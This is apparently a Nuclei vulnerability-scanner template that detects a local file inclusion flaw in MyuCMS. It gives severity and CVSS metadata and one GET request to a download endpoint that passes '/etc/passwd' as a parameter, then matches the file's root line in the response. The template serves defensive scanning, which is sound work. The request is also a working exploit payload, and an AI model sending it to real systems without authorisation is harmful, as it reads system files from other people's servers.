id: myucms-lfr

info:
  name: MyuCMS - Local File Inclusion
  author: princechaddha
  severity: high
  description: MyuCMS is vulnerable to local file inclusion.
  reference:
    - https://blog.csdn.net/yalecaltech/article/details/104908257
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: myucms,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022062c179fdcea241da8bb9dd9358f37305cc45f248e1672a0bff1637418ae20b9b02210081c3fbffbee118e2ec928d0746e4dbde1aa501eee946dc4053160dd10fa674cf:922c64590222798bb761d5b6d8e72950